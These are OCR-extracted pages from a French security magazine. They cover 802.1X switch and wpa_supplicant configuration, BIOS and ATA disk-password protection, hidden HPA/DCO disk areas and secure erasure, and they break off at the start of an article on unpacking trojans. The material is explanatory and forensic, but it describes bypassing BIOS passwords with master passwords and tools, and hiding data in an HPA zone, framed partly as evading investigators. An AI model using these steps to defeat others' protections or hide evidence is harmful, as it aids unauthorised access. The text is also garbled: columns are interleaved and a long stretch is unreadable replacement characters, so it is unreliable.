contrôlé explicitement demandée par WifiHakin9(config-if)# dot1x port- WifiHakin9 (config)# dot1x re-
le système qui s’authentifie, control auto|force-authorized| authentication
• EAPOL-Key : si chiffrement disponible force-unauthorized WifiHakin9 (config)# dot1x timeout
(ex 802.11), re-authperiod 4000
• EAPOL-Encapsulated-ASF-Alert. Trois types d’authentification dot1x sont
possibles : force-authorized, force- Ces deux commandes permettent
Exemple de configuration unauthorized, auto. d’obliger le client connecté de se
Configuration d’un commutateur Cisco. reconnecter (première commande) au
L’activation de l’authentification Configuration du switch vers le bout du temps définie dans la seconde
sur le commutateur se fait avec la serveur d’authentification RADIUS commande. La valeur par défaut étant de
commande aaa new-model en mode En mode de configuration globale, entrez 3600 secondes.
de configuration globale. cette commande :
Création d’une liste de méthodes : SwitchHakin9(config)# dot1x re
WifiHakin9 (config)# radius-server authenticate interface
WifiHakin9(config)# aaa authentication host {hostname | ip-address} fastethernet 0/1
dot1x {default} method1 auth-port port-number key
[method2...] motdepasse Cette commande permet de forcer une
ré-authentification sur un port précis.
Le mot clé {default} (optionnel), permet L’auth-port par défaut est le 1812 (en
d’appliquer la méthode à toutes les UDP). WifiHakin9# show dot1x statistics
interfaces. La key correspond au mot de passe WifiHakin9# show dot1x statistics
Deux types de méthodes existent : qui doit être identique à celui du serveur interface fastethernet 0/1
d’authentification.
• group radius, permettra une Si l’on spécifie plusieurs serveurs Permet d’afficher des statistiques pour
authentification avec tous les RADIUS, le commutateur commencera toutes les interfaces ou une interface
serveurs RADIUS joignable, par tenter de se connecter au serveur précise.
• none, Aucune authentification ne sera RADIUS ajouté en premier.
utilisée. On peut également réaliser cette Configuration d’un client 802.1X
commande en deux étapes : pour une connexion au réseau WiFi
La désactivation de l’authentification sous Debian
802.1x se fait avec la même commande WifiHakin9 (config)# radius-server host L'authentification se fera grâce au
précédée d’un no : {hostname | ip-address} protocole EAP-TTLS/PAP et le cryptage
WifiHakin9 (config)# radius-server des données par les protocoles WPA2/
WifiHakin9(config)# no aaa key motdepasse AES. (Nous ne détaillerons ici que la
authentication dot1x configuration sous Linux).
{default} Pour supprimer une entrée vers un Installation : Tout d’abord, il est
method1 [method2...] serveur RADIUS, on utilise la/les nécessaire d’installer les packages :

62 HAKIN9 1/2009
FONCTIONNEMENT ET IMPLÉMENTATION DU PROTOCOLE 802.1X

aptitude install wpasupplicant wpagui wpa_supplicant -c/etc/wpa_ Configuration d’un client


wireless-tools supplicant/wpa_supplicant. 802.1X pour une connexion
conf –ieth1 -Dwext –w au réseau WiFi sous
• Wireless-tools : contient les outils Ifconfig eth1 up MacOS/Windows
iwconfig et iwlist permettant la gestion Sous MacOs, 802.1x est pris en charge
du WiFi, Maintenant il suffit d’obtenir une adresse par le système.
• wpagui : Interface graphique d'accès IP via DHCP: Sélectionnez le menu Airport puis
aux réseaux WiFi, Ouvrir Préférences Réseau Avancé.
• wpasupplicant : Client d'accès au dhclient eth1 Dans l’onglet 802.1x configurer votre
supplicant. nom d’utilisateur, mot de passe, type
On vérifie que l'adresse est bien acquise : d’authentification ainsi que le SSID, puis
Configuration : valider. Ensuite connectez-vous au réseau
La première étape consiste ifconfig WiFi souhaité et acceptez le certificat
à récupérer les certificats ac-racine [.....] proposé par l’autorité de certification.
et ac-serveur de l'autorité de certification eth1 Lien encap:Ethernet HWaddr 00:15: La couche logicielle WiFi de Windows
afin d’assurer que votre passeport 22:3B:B4:5F XP ne supportant pas le protocole EAP-
(identifiant/mot de passe) est bien inet adr: 192.168.0.1 Bcast: TTLS il est nécessaire d’utiliser un logiciel
envoyé au serveur d'authentification 192.168.0.255 Masque:255. en complément comme SecureW2 qui
et non pas à une borne pirate. 255.255.0 va rajouter une couche à la suite logiciel
UP BROADCAST RUNNING de Windows pour prendre en charge
cd /etc/wpa_supplicant/certs MULTICAST MTU:1500 Metric:1 ce protocole. De nombreux tutoriaux
wget --http-user=identifiant –http RX packets:2234 errors:0 sont disponibles sur Internet. Nous vous
passwd=xxxxxx ‘chemin du dropped:200 overruns:0 frame:0 proposons un très bien fait en référence.
certificat ac-racine’ TX packets:1524 errors:0 Autrement ce type d’authentification peut-
wget --http-user=identifiant -- dropped:0 overruns:0 carrier:0 être automatiquement géré par le logiciel
http-passwd=xxxxxx ‘chemin collisions:0 lg file propriétaire de votre carte WiFi comme
du certificat ac-serveur’ transmission:1000 l’Intel PROset par exemple.
cat ac-racine.crt ac-serveur.crt RX bytes:3093958 (2.9 MiB) TX
> cachain.pem bytes:607389 (593.1 KiB) Conclusion
Interruption:10 Adresse de base: Comme nous l'avons vu au cours de
Ensuite il est nécessaire de générer le 0x2000 Mémoire:c8206000 cette article le protocole 802.1X et son
fichier de configuration en déclarant les -c8206fff protocole d'authentification EAP sont
différents réseaux WiFi disponibles : devenues une nécessité pour toute
On vérifie la connexion au point d'accès entreprise qui souhaite protéger son
vim wpa_supplicant.conf WiFi: réseau dès l'accès physique par les
ctrl_interface=/var/run/wpa_supplicant utilisateurs. Il faut faire attention au fait
ctrl_interface_group=dialout Iwconfig eth1 que 802.1X ayant été crée au départ
network={ eth1 IEEE 802.11g ESSID:" Hakin9- pour des connexions de type physique
ssid="Hakin9-802.1X" 802.1X " (RTC, PPP) ; Il peut-être vulnérable à un
scan_ssid=1 Mode:Managed Frequency:2.462 GHz pirate qui aurait accès aux matériels
key_mgmt=WPA-EAP Access Point: 00:11:22:33:44:55 physiques de l'entreprise et qui pourrait
eap=TTLS Bit Rate:48 Mb/s Tx-Power=20 dBm alors connecter un hub afin d'utiliser un
identity="login" Sensitivity=8/0 port ouvert par un utilisateur autorisé.
password="xxxxxxx" Retry limit:7 RTS thr:off Ce protocole est très souhaitable pour
ca_cert="/etc/wpa_supplicant/ Fragment thr:off les réseaux WiFi afin de parfaitement
certs/cachain.pem" Encryption key:XXXX-XXXX-XXXX- sécuriser les connexions des utilisateurs
phase2="auth=PAP" XXXX-XXXX-XXXX-XXXX- notamment en créant un tunnel sécurisé
} network={ XXXX Security mode:open avec un certificat, par exemple. Notons
ssid=" Hakin9-802.1X " Power Management:off que ce protocole peut aussi être lié aux
key_mgmt=NONE Link Quality=36/100 Signal Vlans de l'entreprise.
} Lancement de wpa_supplicant level=-58 dBm Noise level=-85
dBm Rx invalid nwid:0 Rx invalid
Vérifier tout d’abord quelle est l’interface crypt:0 Rx invalid frag:0
Nicolas Renard
réseau qui correspond à votre interface Tx excessive retries:97 Invalid Actuellement en dernière année d'ingénieur à SUPINFO
et certifié CISCO CCNA et Network Security, l'auteur est
WiFi, ensuite saisir ces commandes : misc:441 Missed passionné de sécurité informatique.
beacon:50 Pour contacter l'auteur : nicolas.renard@supinfo.com

1/2009 HAKIN9 63
VINCENT LE TOUX
BACKUP

Protéger
l’accès à ses données
Degré de difficulté Il est de notoriété publique qu’il est possible de récupérer les
données effacées et même de ressusciter certains disques.
Cette récupération avancée peut être réalisée à des fins de
preuve ou d’espionnage. Comment les pirates se protègent et
de quelles manières les enquêteurs aboutissent à leur fin ?

A
vec la démocratisation de l’informatique, Si ce contrôle arrête les novices, il existe
de plus en plus de données sensibles plusieurs façons de le contourner. Tout d’abord,
sont conçues et utilisées sur les des Super Mot de passe (master password)
ordinateurs. Bien évidement, lorsqu’on est un définis par le constructeur peuvent être saisis à la
criminel, on doit protéger ses données à tout place du mot de passe original pour débloquer
prix sous peine qu’elles puissent être utilisées l’ordinateur en cas d’oubli.
comme preuves. Ensuite il est possible de réinitialiser la
Nous allons présenter quels sont les mémoire du BIOS et donc d’effacer le mot de
moyens permis par le matériel afin de protéger passe par des attaques matérielles (enlèvement
les données et comment les laboratoires de la batterie ou jumper à positionner) ou
d’investigations procèdent pour y avoir finalement logicielles (programme killcmos ou via des
accès, partiellement ou complètement. Nous commandes fournies au programme debug).
n’oublierons pas non plus de montrer comment Seulement sur certains ordinateurs portables, ces
assurer leur destruction. techniques ne fonctionnent pas.
En effet, les mots de passe sont stockés dans
Protection du BIOS une mémoire non volatile et le super mot de
Le BIOS est le premier programme lancé passe est formé à partir des identifiants uniques
au démarrage de l’ordinateur. Il se charge de l’ordinateur (numéro de série par exemple).
d’initialiser le matériel et de passer le contrôle Quelles sont les options qui s’offrent à un
au système d’exploitation. Quel rapport avec enquêteur ? Il y en a deux. La première consiste
les données ? Car en tant que premier maillon à contourner cette sécurité. Par exemple en
de la chaîne, il est garant de toute la sécurité s’attaquant directement aux disques en les
précédant l’amorçage du système et il faut noter connectant sur un autre pc.
CET ARTICLE
EXPLIQUE... que quelques fonctions de sécurité y ont été Mais il est possible qu’il y ait d’autres mots de
implémentées. passe à saisir et que le mot de passe du BIOS
Comment protéger l'accès à ses
données. Pour accéder à ces paramètres, il faut soit le même. D’où l’idée de récupérer ce mot de
Quelles sont les méthodes de appuyer lors de la mise sous tension sur une passe.
contournement. touche spéciale, généralement la touche SUPPR, Cette récupération s’effectue en deux
puis aller dans le menu sécurité. L’exemple phases. La première consiste à démarrer le
CE QU'IL FAUT
SAVOIR... présenté à la Figure 1 montre les choix pc sur une disquette grâce à un super mot
Des notions sur le stockage de
disponibles dont notamment la possibilité de de passe. La deuxième consiste à réaliser un
données. définir un contrôle d’accès au démarrage. dump de la mémoire du BIOS et à en extirper

64 HAKIN9 1/2009
PROTÉGER MATÉRIELLEMENT L’ACCÈS À SES DONNÉES

le mot de passe grâce au programme données stockées dessus. Il existe enfin disposent plus de disquettes, qu’il est
cmospwd écrit par Christophe Grenier. une commande bloquant le changement possible d’émuler cet environnement avec
Une récupération est illustrée à la Figure des paramètres de sécurité jusqu’au une clé USB formatée avec l’outil HP USB
2. A noter qu’il faut connaître le BIOS prochain redémarrage. Disk Storage Format Tool ou avec un cd
en question et que le mot de passe est Sur les ordinateurs portables bootable.
retranscrit par défaut avec un clavier compatibles, cette protection est très Après la sélection du disque, toutes
qwerty. facile à mettre en place. Dans le BIOS les commandes permettant d’agir sur la
Dans cet exemple, à la ligne Award 6, illustré Figure 1, on voit comment il sécurité sont regroupées sous le menu
le mot password est retranscrit sous la est possible d’activer cette protection. Security. Il suffit juste d’utiliser Set password
forme pqsszord. Il peut y avoir une étape Malheureusement, il est rare que les pour l’activer.
supplémentaire : récupérer le super mot de constructeurs permettent de régler le Cette fonctionnalité reste néanmoins
passe grâce à son numéro de série. Dans niveau sur maximum et par conséquent difficile à utiliser en pratique.
le cadre d’une procédure judiciaire, l’expert les disques protégés de cette manière En général, sur les ordinateurs
s’adressera directement au constructeur, sont donc vulnérables aux super mots de portables compatibles, le BIOS gèle ces
mais certains programmes existants passe. paramètres et il est donc impossible
peuvent réaliser cette opération. Le Il n’y a pas que le BIOS qui prend en de régler le niveau de sécurité. Pire, le
programme latitude.exe en est un exemple. compte cette fonctionnalité : il est possible démarrage est bloqué tant que le mot
Dans le cas où il serait stocké dans une d’utiliser des programmes pour le faire. de passe correct n’a pas été saisi et
mémoire non volatile (puce 24c02), il faut On cite généralement le programme donc en cas d’oubli, il est impossible de
utiliser un programmateur mémoire. Cette atapwd à cet effet, mais l’utilitaire hdat2 lancer la séquence d’effacement pour le
technique est beaucoup plus facile illustré Figure 3 et programmé par Lubomir débloquer.
à réaliser qu’elle en à l’air car ces Cabla donne plus d’information à ce sujet. S’il pourrait marcher en théorie branché
mémoires sont très répandues et très Pour le lancer, il faut créer une disquette en USB, la fonction n’est pas supportée
basiques : elles sont notamment installées DOS contenant le programme et démarrer par les OS. De plus, les programmes
sur les modules de RAM. dessus. On notera pour ceux qui ne interagissant avec ne fonctionnent que
On trouvera en référence un tutoriel
expliquant cette manipulation sur des
machines fabriquées par Dell.

Ata password
Tout le monde connaît les mots de passe
à saisir au démarrage avant même le
lancement du système d’exploitation, mais
il existe d’autres protections bas-niveau
peu connues et relativement efficaces.
Il faut le savoir : il est possible de définir
un mot de passe sur chaque disque
dur. Cette protection a été développée
initialement pour les disques de deux
pouces et demi, mais Microsoft a Figure 1. Représentation du BIOS d'un Dell Inspiron 5150
convaincu les constructeurs de le faire
avec tous leurs disques pour qu’ils
puissent être intégrés dans la Xbox.
Le fonctionnement est le suivant :
une fois un mot de passe défini, il est
impossible d’accéder aux données sans
fournir celui-ci et le disque n’est déverrouillé
que le temps où il est sous tension. Il y a
deux niveaux de protection.
Le niveau haut (high) permet d’utiliser
un super mot de passe en cas d’oubli
alors que le mode maximum ne le permet
pas.
La seule solution permise dans ce
cas pour le débloquer est de réaliser un
formatage bas niveau supprimant les Figure 2. Programme Cmospwd

1/2009 HAKIN9 65
BACKUP
sous DOS où le support de l’USB est Zones constructeurs Grâce à un jeu d’instruction spécialement
limité. Enfin, il arrive que le BIOS se bloque Une fois l’accès physique au disque créé, permettant d’accéder aux secteurs
tant qu’il n’a pas accès au disque, ce qui établi, le système est libre d’accéder temporairement ou de changer le numéro
a été le cas avec moi, rendant impossible à n’importe quel secteur. Il est donc du secteur d’amorçage.
la suppression de la sécurité. Bref pour potentiellement susceptible de le formater Une petite parenthèse sur l’adressage
un novice, il est fortement déconseillé de ou de modifier les partitions existantes. des disques. Vous avez dû entendre parler
l’utiliser. Or les constructeurs ont une imagination de secteurs, pistes, tête ou cylindres. En
Comment un enquêteur contourne fertile lorsqu’il s’agit d’innovation marketing. effet, il s’agit de la description physique de
cette sécurité ? Aujourd’hui la mode est à l’écolo, mais il certains médias magnétiques tels que les
Si la sécurité n’est pas mise y a quelques années la mode était aux disquettes ou disque dur. Chaque donnée
sur maximum par le mot de passe utilitaires et à la sauvegarde instantanée. est enregistrée dans un secteur d’une taille
constructeur et sinon, par le remplacement Les constructeurs ajoutaient aux disques de 512 octets.
de la carte électronique contrôlant le des logiciels, mais ceux-ci étaient Cette taille peut varier dans des
disque ou en flashant le firmware de sensibles à l’effacement. Ils ont donc créé cas particuliers, mais c’est la valeur
celui-ci. En effet, les données ne sont pas une zone spéciale nommée Host Protected généralement utilisée. Ce secteur est
cryptées au sein du disque, seul l’accès en Area (HPA) dans laquelle sont stockées ensuite positionné au sein d’une piste
est interdit. des données invisibles au système elle-même située au sein d’une tête
Si cette protection est d’un très haut d’exploitation. et d’un cylindre : c’est l’adressage CHS.
niveau pour les particuliers, elle n’arrête Concrètement, le disque est amputé On pourrait se dire qu’il est possible de
en rien les laboratoires à condition qu’ils d’une partie de sa capacité et le nombre compter le nombre de pistes/tête/cylindre
soient équipés d’appareils spécialisés ou de secteurs disponibles est réduit : cette pour en déduire la capacité réelle d’un
de stock de pièces détachées. zone est protégée. Comment y accéder ? disque.
Or chaque adresse est stockée sous
la forme de 10 bits pour le numéro de
cylindre, 8 bits pour le numéro de tête
et 6 bits pour le numéro de secteur. Il ne
peut donc y avoir plus de 2^24*512 octets
= 8Go. Pour contourner cette limitation
et supporter de nouveaux types de média
tels que les cd-rom, on utilise maintenant
l’adressage LBA.
Il s’agit tout simplement de compter les
secteurs de 0 à N-1 où N est le nombre de
secteurs du disque. La logique interne est
alors masquée par le contrôleur et il est
donc impossible de connaître la capacité
réelle d’un disque.
S’il est possible de masquer certains
secteurs, il reste bien sûr à exploiter cette
possibilité. Mais quelles zones adaptées
peut-on utiliser pour cacher des données
Figure 3. Hdat2 ? Il n’est pas permis d’utiliser un fichier ou
des secteurs précis pour allouer une zone
HPA. Du coup, impossible de masquer
une partition, car la table des partitions,
Espace libre C Données
située au début du disque, contient la
position et l’étendue des partitions au sein
du disque. Si une partition est cachée
Partition Partition
Espace

Partitions
grâce à ce moyen, il reste toujours une
libre B
MBR

GPT

Primaire Primaire Etendues 3 HPA DCO


1 2
trace ce qui n’est pas le but souhaité. Il faut
savoir qu’il ne peut y avoir que 4 partitions
Partition Partition
primaires sur un disque dur.
Espace libre A
Etendue 1 Etendue 2 Or dans certains cas, ce chiffre
peut s’avérer insuffisant et les partitions
étendues ont été inventées pour contourner
Figure 4. Représentation d'un disque avec ses partitions cette limitation. L’astuce consiste à allouer

66 HAKIN9 1/2009
WYMIANA

reklama
Segate
BACKUP
une partition primaire dans laquelle on les jeux d’instructions gérant le HPA sont Il est possible de l’utiliser de la même
créé une seconde table de partitions incompatibles entre ces 2 modes. Tous manière que la zone HPA mais à part
contenant la liste des partitions étendues. Il les programmes d’analyse ne gérant pas hdat2, bien peu d’utilitaires la supportent :
s’en découle que tout l’espace disque n’est tous le mode 28bits, utilisables sur les elle est donc très efficace pour cacher des
pas exploité comme illustré à la Figure 4. disques de moins de 128Go, il peut arriver données.
Or la partition primaire contenant des que cette zone ne soit pas détectée : c’est
partitions étendues n’est pas forcément actuellement le cas du Sleuth Kit . Données de maintenance
complètement exploitée et il peut exister de Le HPA est maintenant une protection Les composants électroniques sont très
l’espace libre (noté A). Il y a également des relativement connue. Mais avec la nouvelle complexes. Il suffit d’une impureté pour
interstices entre les partitions (noté B) ou norme ATA6, les constructeurs ont ajouté condamner une puce. Pour éviter cela, les
tout à la fin du disque (noté C). De part sa une nouvelle protection nommée DCO. constructeurs prévoient des redondances
conception, seul l’espace C peut être utilisé Comme le HPA, son but est de diminuer qui peuvent être utilisées au sein même
pour masquer des données au sein d’une la capacité présentée à l’utilisateur de des composants pour remplacer des
zone HPA. façon à pouvoir vendre des disques de parties défectueuses.
Pour calculer la position et la taille de 80Go comme des disques de 40Go par Les disques durs suivent la même
cette cache sur le disque, il est nécessaire exemple. logique. En effet, juste après la fabrication,
savoir combien d’espace il reste à la fin du
disque. L’utilitaire fdisk affublé de l’option –l
nous est d’un grand secours en affichant
la table des partitions et la position de
chaque partition. Il suffit de prendre le plus
grand bloc alloué incrémenté de un et
de le convertir en octets. Dans l’exemple
affiché Figure 5, (7600 + 1) * 8 388 608 =
63 761 809 408 octets sur un disque d’une
capacité totale de 100Go octets. On sait
que dans ce cas, on peut exploiter environ
35Go.
Il reste bien sûr à utiliser cet espace
sans créer de partition. Du côté Linux, la
fonctionnalité introduite dans le noyau 2.6
device mapper permet la résolution de ce
challenge de façon élégante. On crée un
périphérique block avec losetup avec un
offset égal au premier octet de l’espace
caché (exemple ici à 80 000 000 000)
puis on le réutilise avec une commande Figure 5. Création d'un espace caché avec device mapper
dmsetup où la taille est celle de la zone
à masquer. Attention : cette dernière taille
est à fournir en secteurs. (On multiplie par
512 le nombre de secteurs pour obtenir
le nombre d’octets) L’exemple fourni
Figure 5 alloue une zone non cryptée mais
il est possible de définir un cryptage en
remplaçant le mot clé linear par le mot
crypt.
Reste bien sûr à activer la zone HPA.
Par exemple avec le programme hdat2
où, après sélection du disque, il suffit de
définir le dernier secteur accessible et
d’enregistrer. Les programmes setmax
ou le Sleuth Kit réalisent la même chose
sous Linux. Ces programmes permettent
bien évidemment la suppression de
cette protection. A noter qu’il existe
2 modes LBA, 28bits ou 48bits et que Figure 6. Hdat2 et zone HPA

68 HAKIN9 1/2009
PROTÉGER MATÉRIELLEMENT L’ACCÈS À SES DONNÉES

ils subissent des tests très poussés. Les s’appelle G List . On le comprend tout Il existe alors dans ce cas une
secteurs ne remplissant pas leurs devoirs de suite : il y a des secteurs cachés et copie ces données sur un des secteurs
sont désactivés et mémorisés dans une inaccessibles au sein des disques durs. originaux.
liste nommée P List . S’il est possible d’y cacher des Théoriquement, seule la G List est
Enfin, les secteurs présentant des données, on n’oubliera pas que les manipulée après la sortie d’usine puisque
anomalies peuvent être mis de côté secteurs défectueux sont remplacés les instructions agissant sur la P List sont
par l’électronique et automatiquement automatiquement et donc qu’il est possible spécifiques à chaque constructeur et non
remplacés par des secteurs de réserve. La que des données sensibles aient pu faire divulguées. Certains logiciels spécialisés
liste créée et maintenue à cette occasion partie des secteurs remplacés. permettent cependant d’éditer cette liste
mais à défaut, il est très difficile d’avoir des
informations à ce sujet.
Le SMART est un outil de diagnostic
conçu pour anticiper les pannes. En
enregistrant tous les paramètres de
fonctionnement, il permet également
de recueillir quelques informations. Par
exemple, l’attribut Reallocated_Sector_
Count permet de connaître le nombre de
secteurs de la G List .
Il permet également de connaître
le nombre de fois qu’il a été allumé
(Power _ Cycle _ Count) et sa durée
totale de fonctionnement (Powers _ On _
Hours). Cela permet de savoir si le disque
Figure 7. Données smart est neuf et placé là comme leurre ou
s’il a réellement servi. On récupère très
facilement ces informations grâce
à l’utilitaire smartmon illustré à la Figure 7.
Par contre, aucun outil grand public ne
permet de modifier ces informations.

Effacement définitif
Devant les techniques de récupération
avancées des enquêteurs, comment
s’assurer de la destruction de données
compromettantes ?
En effet, il est très facile de laisser des
informations compromettantes. Prenons
l’exemple très simple d’un fichier qui est
modifié, présenté à la Figure 8. À l’origine
présent sur le bloc 2959363, une simple
écriture le transfère deux blocs plus loin.
Et bien évidemment, les données
d’origine restent inscrites sur le disque.
Notez l'utilisation de la fonction debugfs
pour obtenir la liste des blocs et de la
fonction dd avec une taille de bloc de
4096 octets pour extraire les données
directement depuis le disque. Lorsqu’un
PC est réformé, par exemple lors d’un

Terminologie
• HPA : Host Protected Area,
• DCO : Device Configuration Overlay.
Figure 8. Correspondance entre un fichier et les données stockées sur le disque

1/2009 HAKIN9 69
BACKUP
don à une association, comment peut-on dépendant des technologies d’écriture été présenté aujourd’hui. Quant à l’intérêt
s’assurer que les données ne puissent pas utilisées à cette époque, portant le total à d’effectuer jusqu’à 35 pour être sûr, on
être récupérées pour un usage malveillant ? 35 passes. rappelle que leur nombre a été déterminé
Pour commencer, il n’existe pas de On peut alors énumérer les 4 par la quantité de motifs à écrire,
méthode prévue au niveau du disque techniques actuellement utilisées. La dépendant eux-mêmes des technologies
pour effacer une zone précise. Les seules première, la plus basique, consiste à d’enregistrement.
méthodes connues sont la réécriture (par écrire en une seule passe des données Or elles ont bien changé en 20 ans
des uns, des zéros ou n’importe quel motif aléatoires sur le disque à effacer. rendant la justification des 35 passes
binaire) ou la destruction physique du La deuxième du département de la caduque. Rien ne démontre qu’une passe
média. défense américaine, effectue plusieurs supplémentaire diminuera les chances de
Ce domaine était peu connu jusqu’à passes aléatoires suivies d’une destruction récupération.
la publication dans les années 90 de du média. La méthode de la NSA, elle, Bref, en pratique, une seule passe
l’étude Gutmann. Cette étude présente effectue 7 passes. Enfin, la quatrième suffit. Il suffit de s’adresser à un organisme
des moyens techniques de récupération méthode est la méthode Gutmann qui de récupération de données pour s’en
et leur contournement. En effet, en faisant effectue 35 passes. assurer : aucun ne propose de service
appel à un microscope à effet de champ On remarque que 3 méthodes sur pour effectuer la restauration suite à un dd
magnétique, il est possible d’observer les les 4 présentées ici effectuent plusieurs if=/dev/zero.
plateaux des disques dans un niveau de passes. Mais est-ce nécessaire ? En effet, Mais au fait, est-on sûr de bien tout
détail élevé. il est très difficile en pratique d’extraire les effacer ? On a vu qu’il existait des zones
Deux propriétés peuvent ensuite être données d’un disque effacé. Tout d’abord, susceptibles d’avoir contenu des données
utilisées pour reconstituer chaque bit. il est nécessaire d’avoir des images très à un moment avant d’être cachées : ce
La première utilise les variations infimes précises du disque. sont les secteurs défectueux, stockés dans
du champ enregistré sur le média. Par Cela requiert déjà de démonter les la Glist (dont on obtient le nombre grâce à
exemple, lorsqu’un 1 est écrit sur un plateaux en salle blanche. Puis il faut smartmon).
autre 1, le niveau réel obtenu correspond positionner le disque avec précision et D’où la proposition de la NSA
à peu près à 1,05 alors que s’il y avait prendre une photographie de celui-ci. La d’implémenter une fonction pour éradiquer
précédemment un 0, le niveau obtenu quantité de données à analyser est alors toutes les données des disques, qu’elles
correspondrait à 0,95. phénoménale, plus de 10 000 fois la soient dans les secteurs défectueux
La seconde utilise le fait que le centre capacité originale. ou dans les zones HPA ou DCO. Les
des têtes ne se positionne pas toujours Sans compter qu’il faut positionner fabricants n’ont pas l’obligation de
exactement au même endroit pour écrire le matériel et effectuer la procédure bit l’implémenter mais elle est parfois
et donc qu’il reste des traces sur les bords par bit : la procédure est très longue. Le disponible. On peut exécuter cette fonction
des pistes. matériel requis est de plus très couteux. grâce à des utilitaires systèmes tels que
Pour empêcher le recouvrement Alors s’il existe des démonstrations hdat2.
des données, Gutmann a proposé une techniques de récupération de données
méthode consistant en deux phases, une après effacement, elles ne portent que sur Conclusion
pour chaque propriété. La première phase quelques octets de données et ont pris Si des fonctions comme la protection
consiste à écrire 3 passes de données beaucoup de temps : ces analyses sont du BIOS sont répandues, elles sont
aléatoires puis la seconde à écrire donc hors de prix. Aucune récupération aussi faciles à contourner. D’autres sont
plusieurs passes de motifs spécifiques, totale d’un disque ayant été effacé n’a bien plus efficaces, comme les mots
de passe définis sur les disques, mais
aussi difficiles à mettre en place. Tout
Sur Internet dépend du constructeur et bien souvent,
• http://www.cgsecurity.org/cmospwd.txt – Reset password,
ce sont seulement les constructeurs de
• http://www.uktsupport.co.uk/reference/biosp.htm – Master password, portables professionnels qui font ce choix.
• http://web.archive.org/web/20040429073809/qasimtoep.tripod.com/dell/dell.html – dell reset La récupération de données n’est alors
password, plus un tour de magie, mais uniquement
• http://www.hdat2.com/ – hdat2, l’application d’une connaissance
• http://www.rockbox.org/lock.html – atapwd,
approfondie. Reste alors à exploiter les
• http://www.sleuthkit.org/ – sleuthkit,
données...
• http://www.foi.se/upload/rapporter/foi-computer-forensics.pdf,
• http://www.xbox-linux.org – Protection du disque des xbox,
• http://www.cs.auckland.ac.nz/~pgut001/pubs/secure_del.html – Etude Gutmann, Vincent Le Toux
• http://www.cert-ist.com/fra/ressources/Publications_ArticlesBulletins/Veilletechnologique/ Après son diplôme de l'ENSIMAG obtenu en 2003,
l'auteur a rejoint une société d'études de marché à Paris
effacement_disque/, en tant que chef de projet. Aujourd'hui, il est employé
• http://www.actionfront.com/whitepaper/Drive-Independent%20Data%20Recovery%20Ver14Alrs. dans l'équipe architecture d'une grande institution
pdf. financière à Bruxelles.
Pour contacter l'auteur : vincent.letoux@gmail.com

70 HAKIN9 1/2009
����������������
�������������������������������������


������������������������������������ ����������������������������������������������������������� �����������������������������������������������������������
������������������������������������������ ������������������������������������� �������������������������������������������������������
����������������������������������������������� ������������������������������������������������������������
�������������������������������������������������������� �� ������������������������������������������� �����������������������������������������������������
������������������������������������������������� �������������������������� �����������������������������������������������������
��������������������������������������������������������� ������������������������������������������������ ������������������������������������������������
���������������������������������������������������������� ���������������������������������������������� �������������������������������������
���������������������������������������������������� ���������������������������������������������������
������������������������������������������������������ ������������������������������������������������ ��������������������������������
����������������������������������������������������� ����������������������������������������������� ����������������������������������������������
��������������������������������������������������� ���������������������������������������������� ��������������������������������������������
������������������������������������������������������������ ������������������������������������������������
������������������������������������������������������������ ������������������������������������ ���������������������������������������������������������
�������������������������������������������������������� ����������� �������������������������������������������������������
����������������������������������������������������� �������������������������������������������������� �����������������������������������������������������
���������������������������������������������������� ������������������������������������������������� ������������������������������������������������������
���������������� ����������������������������������������������������� ���������������������������������������������
��������������������������������������������������� �����������������������������������������������������
�������������������������������� ��������������������������������������������������������������� �����������������������������������������������������������
��������� ������������������������������������������������� ��������������������������������������������������������
������������������������������������������������� ����������������������������������������������������� ����������������������������������������������������
������������������������������������������������ ����������������������������������������������������������� ����������������������������������������������
������������������������������������������������� ������������������������������������������������������������ ������������������������������������������������
������������������������������������������������������ �������������������������������������������������������� ���������������������������������������������������
��������������������������������������������������� ����������������������������������������������������������� ������������������������������������������������
������������������������������������������������������ �������������������������������������������������� �������������������������������������������������
���������������������������������������������������� ��������������������������������������������������� ��������������������������������������������������
������������������������������������������������ ������������������������������������������������������������ ����������������������������������������������������
����������������������������������������������������� ����������������������������������������������� ���������������������������������������������������

����������������������������������������������������� �������������������������������������������������������
��������������������������������������������������������
��������������������������������������������������� ���������������������������������������������������� ������������������������������������������������������
������������������������������������������������������� ������������������������������������������������������� �����������������������������������������������������
���������������������������������������������������������� ���������������������������������������������������� ���������������������������������������������������
�������������������������������������������������������
����������������������������������������������������������� �������������������������������������������������������
����������������������������������������������������������
������������������������������������������������� ������������������������������������������������������� ���������������������������������������������������
����������������������������������������������������� ������������������������������������������������
���������� �������������������������������������������������
����������������
������������������������������������������������������� �������������������������������������������������������
������������������������������������������������������������� ���������������������������������������������� �����������������������������������������������������
���������������������������������������������������� ������������������������������������������������� �������������������������������������������������
������������������������� ������������������������������������������������������������ ��������������������������������������������������������
�������������������������������������������������� ��������������������������������������������������
���������������������� ���������������������������������������������������������� ��������������������������������������������������
������������������������ ����������������������������������������������������� ������������������������������������������������������
������������������������������������������������������ ���������������������������������������������������� ��������������������������������������������������
������������������������������������������������������� �������������������������������������������������� ����������������������������������������������������
��������������������������������������������������������� ��������������������������������������������������� �������������������������������������������������
��������������������������������������������������������� ������������������������������������������������ ��������������
�������������������������������������������������� ����������������������������������������������������� �����������������������������������������������
����������������������������������������������������� �������������������������������������������������������� ��������������������������
��������������������������������������������������������� ��������������������������������������������������� �������������������������������������������
������������������������������������������������������� ��������������������������������������������������� �������������������������������������
���������������������������������������������������� ��������������������������������������������������������� ��������������������������������������������

������� ���
TECHNIQUE
BABOON

Programmation
d'un unpacker de trojan
Degré de difficulté

Une technique très utilisées par les antivirus est la détection par
signature. Lorsqu'un malware possède une ou plusieurs portions
de code qui sont toujours identiques, l'antivirus en extrait la
séquence d'octets correspondant et s'en sert par la suite pour
détecter la présence du malware.

P
our lutter contre la détection par signature utilisera les debug APIs de Windows ce qui nous
les trojans sont souvent packés à l'aide permettra de contrôler l'exécution du packer
d'un packer. Un packer est un programme et de dumper le processus au bon moment.
qui compresse , chiffre, protège les exécutables.
Pour que les exécutables puissent être lancés, Étude du loader
le packer leur ajoute une fonction, un loader, Avant de programmer notre un-packer il est
qui va décompresser et déchiffrer l'exécutable nécessaire d'étudier le loader (la fonction logée
en mémoire avant de lui rendre la main. dans l'exécutable qui déchiffra le malware au
Les détections par signatures se faisant sur chargement du programme).
l'exécutable 'en dur', c'est à dire sur le fichier Nous allons pour cela d'abord un-packer
et non en mémoire lorsque le programme manuellement notre malware. Inutile de préciser
